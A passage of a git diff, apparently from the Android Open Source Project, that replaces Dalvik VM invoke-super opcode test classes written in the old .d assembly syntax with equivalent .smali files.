-       invoke-super {v7}, dot/junit/opcodes/invoke_super/d/T_invoke_super_1/toInt()I
-
-       move-result v0
-       return v0
-.end method
-
-
-.method public toInt()I 
-.limit regs 3
-    const v0, 777
-    return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_1.smali
new file mode 100644
index 0000000..ee0681e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_1.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_1.java"
+.class  public Ldot/junit/opcodes/invoke_super/d/T_invoke_super_1;
+.super  Ldot/junit/opcodes/invoke_super/d/TSuper;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_super/d/TSuper;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 8
+
+       invoke-super {v7}, Ldot/junit/opcodes/invoke_super/d/T_invoke_super_1;->toInt()I
+
+       move-result v0
+       return v0
+.end method
+
+
+.method public toInt()I 
+.registers 3
+    const v0, 777
+    return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_10.d
deleted file mode 100644
index bc38f2f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_10.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_super_10.java
-.class public dot.junit.opcodes.invoke_super.d.T_invoke_super_10
-.super java/lang/Object
-
-.method static <clinit>()V
-    return-void
-.end method
-
-.method public <init>()V
-.limit regs 2
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 1
-    invoke-super {v0}, dot.junit.opcodes.invoke_super.d.T_invoke_super_10/<clinit>()V
-    return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_10.smali
new file mode 100644
index 0000000..8cef3ea
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_10.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_10.java"
+.class  public Ldot/junit/opcodes/invoke_super/d/T_invoke_super_10;
+.super  Ljava/lang/Object;
+
+.method static constructor <clinit>()V
+.registers 0
+    return-void
+.end method
+
+.method public constructor <init>()V
+.registers 2
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 1
+    invoke-super {v0}, Ldot/junit/opcodes/invoke_super/d/T_invoke_super_10;-><clinit>()V
+    return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_11.d
deleted file mode 100644
index 97683ca..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_11.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_super_11.java
-.class public dot.junit.opcodes.invoke_super.d.T_invoke_super_11
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/Object;Ljava/lang/Object;)Z
-.limit regs 8
-
-       invoke-super {v6}, java/lang/Object/equals(Ljava/lang/Object;)Z
-
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_11.smali
new file mode 100644
index 0000000..ac33c05
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_11.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_11.java"
+.class  public Ldot/junit/opcodes/invoke_super/d/T_invoke_super_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;Ljava/lang/Object;)Z
+.registers 8
+
+       invoke-super {v6}, Ljava/lang/Object;->equals(Ljava/lang/Object;)Z
+
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_12.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_12.d
deleted file mode 100644
index 0b6efa2..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_12.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_super_12.java
-.class public dot.junit.opcodes.invoke_super.d.T_invoke_super_12
-.super dot/junit/opcodes/invoke_super/d/TSuper
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, dot/junit/opcodes/invoke_super/d/TSuper/<init>()V
-       return-void
-.end method
-
-
-.method public run()V
-.limit regs 8
-
-       invoke-super {v5, v5}, dot.junit.opcodes.invoke_super.d.T_invoke_super_12/testString(Ljava/lang/String;)V
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_12.smali
new file mode 100644
index 0000000..1f35f3c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_12.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_12.java"
+.class  public Ldot/junit/opcodes/invoke_super/d/T_invoke_super_12;
+.super  Ldot/junit/opcodes/invoke_super/d/TSuper;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_super/d/TSuper;-><init>()V
+       return-void
+.end method
+
+
+.method public run()V
+.registers 8
+
+       invoke-super {v5, v5}, Ldot/junit/opcodes/invoke_super/d/T_invoke_super_12;->testString(Ljava/lang/String;)V
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_13.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_13.d
deleted file mode 100644
index a030b72..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_13.d
+++ /dev/null
@@ -1,41 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_super_13.java
-.class public dot.junit.opcodes.invoke_super.d.T_invoke_super_13
-.super dot/junit/opcodes/invoke_super/d/TSuper
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, dot/junit/opcodes/invoke_super/d/TSuper/<init>()V
-       return-void
-.end method
-
-.method private toIntPvt()I
-.limit regs 3
-       const/16 v1, 345
-       return v1
-.end method
-
-.method public run()I
-.limit regs 3
-
-       invoke-super {v2}, dot/junit/opcodes/invoke_super/d/T_invoke_super_13/toIntPvt()I
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_13.smali
new file mode 100644
index 0000000..eadac0a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_13.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_13.java"
+.class  public Ldot/junit/opcodes/invoke_super/d/T_invoke_super_13;
+.super  Ldot/junit/opcodes/invoke_super/d/TSuper;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_super/d/TSuper;-><init>()V
+       return-void
+.end method
+
+.method private toIntPvt()I
+.registers 3
+       const/16 v1, 345
+       return v1
+.end method
+
+.method public run()I
+.registers 3
+
+       invoke-super {v2}, Ldot/junit/opcodes/invoke_super/d/T_invoke_super_13;->toIntPvt()I
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_14.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_14.d
deleted file mode 100644
index b70f691..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_14.d
+++ /dev/null
@@ -1,61 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_super_14.java
-.class public dot.junit.opcodes.invoke_super.d.T_invoke_super_14
-.super dot/junit/opcodes/invoke_super/d/TSuper
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, dot/junit/opcodes/invoke_super/d/TSuper/<init>()V
-       return-void
-.end method
-
-.method public run()Z
-.limit regs 7
-
-    const v1, 123
-    const v2, 659
-    
-    const v3, 300
-    const v4, 3
-
-    invoke-super {v6, v3, v4}, dot/junit/opcodes/invoke_super/d/T_invoke_super_14/testArgsOrder(II)I
-
-    move-result v3
-    const v4, 100
-    if-ne v3, v4, Label0
-
-    const v4, 123
-    if-ne v1, v4, Label0
-
-    const v4, 659
-    if-ne v2, v4, Label0
-    
-    const v0, 1
-    return v0
-
-Label0:
-    const v0, 0
-    return v0
-.end method
-
-.method public testArgsOrder(II)I
-.limit regs 4
-    const v0, 0
-    return v0
-.end method
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_14.smali
new file mode 100644
index 0000000..5f45236
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_14.smali
@@ -0,0 +1,61 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_14.java"
+.class  public Ldot/junit/opcodes/invoke_super/d/T_invoke_super_14;
+.super  Ldot/junit/opcodes/invoke_super/d/TSuper;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_super/d/TSuper;-><init>()V
+       return-void
+.end method
+
+.method public run()Z
+.registers 7
+
+    const v1, 123
+    const v2, 659
+    
+    const v3, 300
+    const v4, 3
+
+    invoke-super {v6, v3, v4}, Ldot/junit/opcodes/invoke_super/d/T_invoke_super_14;->testArgsOrder(II)I
+
+    move-result v3
+    const v4, 100
+    if-ne v3, v4, :Label0
+
+    const v4, 123
+    if-ne v1, v4, :Label0
+
+    const v4, 659
+    if-ne v2, v4, :Label0
+    
+    const v0, 1
+    return v0
+
+:Label0
+    const v0, 0
+    return v0
+.end method
+
+.method public testArgsOrder(II)I
+.registers 4
+    const v0, 0
+    return v0
+.end method
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_15.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_15.d
deleted file mode 100644
index 32c2700..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_15.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_super_15.java
-.class public dot.junit.opcodes.invoke_super.d.T_invoke_super_15
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       invoke-super {v2}, dot/junit/opcodes/invoke_super/d/T_invoke_super_15/testN()V
-       return-void
-.end method
-
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_15.smali
new file mode 100644
index 0000000..e5d3db6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_15.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_15.java"
+.class  public Ldot/junit/opcodes/invoke_super/d/T_invoke_super_15;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       invoke-super {v2}, Ldot/junit/opcodes/invoke_super/d/T_invoke_super_15;->testN()V
+       return-void
+.end method
+
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_16.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_16.d
deleted file mode 100644
index 92f6c2f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_16.d
+++ /dev/null
@@ -1,26 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_super_16.java
-.class public dot.junit.opcodes.invoke_super.d.T_invoke_super_16
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 3
-       invoke-super {v2}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_16.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_16.smali
new file mode 100644
index 0000000..b2addd9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_16.smali
@@ -0,0 +1,26 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_16.java"
+.class  public Ldot/junit/opcodes/invoke_super/d/T_invoke_super_16;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 3
+       invoke-super {v2}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_17.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_17.d
deleted file mode 100644
index de24bf3..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_17.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_super_17.java
-.class public dot.junit.opcodes.invoke_super.d.T_invoke_super_17
-.super dot/junit/opcodes/invoke_super/d/TSuper2
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, dot/junit/opcodes/invoke_super/d/TSuper2/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       invoke-super {v2}, dot/junit/opcodes/invoke_super/d/T_invoke_super_17/toInt()I
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_17.smali
new file mode 100644
index 0000000..e43dcc5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_17.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_17.java"
+.class  public Ldot/junit/opcodes/invoke_super/d/T_invoke_super_17;
+.super  Ldot/junit/opcodes/invoke_super/d/TSuper2;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_super/d/TSuper2;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       invoke-super {v2}, Ldot/junit/opcodes/invoke_super/d/T_invoke_super_17;->toInt()I
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_18.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_18.d
deleted file mode 100644
index e3d61e7..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_18.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_super_18.java
-.class public dot.junit.opcodes.invoke_super.d.T_invoke_super_18
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ldot/junit/opcodes/invoke_super/TestStubs;)V
-.limit regs 5
-
-       invoke-super {v4}, dot/junit/opcodes/invoke_super/TestStubs/TestStub()V
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_18.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_18.smali
new file mode 100644
index 0000000..870b038
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_18.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_18.java"
+.class  public Ldot/junit/opcodes/invoke_super/d/T_invoke_super_18;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ldot/junit/opcodes/invoke_super/TestStubs;)V
+.registers 5
+
+       invoke-super {v4}, Ldot/junit/opcodes/invoke_super/TestStubs;->TestStub()V
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_19.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_19.d
deleted file mode 100644
index 847e743..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_19.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_super_19.java
-.class public dot.junit.opcodes.invoke_super.d.T_invoke_super_19
-.super dot/junit/opcodes/invoke_super/d/TSuper
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, dot/junit/opcodes/invoke_super/d/TSuper/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 4
-
-       const/4 v2, 1
-       invoke-super {v3, v2}, dot/junit/opcodes/invoke_super/d/T_invoke_super_19/toInt(I)I
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_19.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_19.smali
new file mode 100644
index 0000000..0e0ef34
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_19.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_19.java"
+.class  public Ldot/junit/opcodes/invoke_super/d/T_invoke_super_19;
+.super  Ldot/junit/opcodes/invoke_super/d/TSuper;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_super/d/TSuper;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const/4 v2, 1
+       invoke-super {v3, v2}, Ldot/junit/opcodes/invoke_super/d/T_invoke_super_19;->toInt(I)I
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_2.d
deleted file mode 100644
index 0144130..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_2.d
+++ /dev/null
@@ -1,41 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
